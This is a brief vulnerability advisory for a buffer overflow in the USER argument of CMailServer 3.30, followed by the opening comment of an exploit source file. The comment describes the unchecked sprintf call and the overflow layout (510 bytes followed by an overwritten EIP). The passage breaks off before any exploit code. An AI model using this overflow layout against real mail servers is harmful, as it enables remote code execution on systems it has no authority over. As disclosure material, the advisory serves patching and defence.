CMailServer is vulnerable to a buffer overflow condition. It has been reported that the CMailServer does not perform proper bounds checking on the USER argument.
It is possible for a remote malicious attacker to craft a request that will result in code execution on the vulnerable system.
This issue has been reported in CMailServer 3.30. Other versions may also be affected.
/*
cmeexp.c
May 20, 2002
CMailServer 3.30 uses sprintf() without any previous
bounds checking while testing for the presence of the
passed USER argument's home directory within 'mail'..
sprintf(%s\\mail\\%s, CMail path ptr, USER arg ptr)
you know how the story goes, we can overwrite some
serious EIP action..
USER <510 bytes><EIP>
the payload is on the right as I didn't bother finding
or making one fit on the left
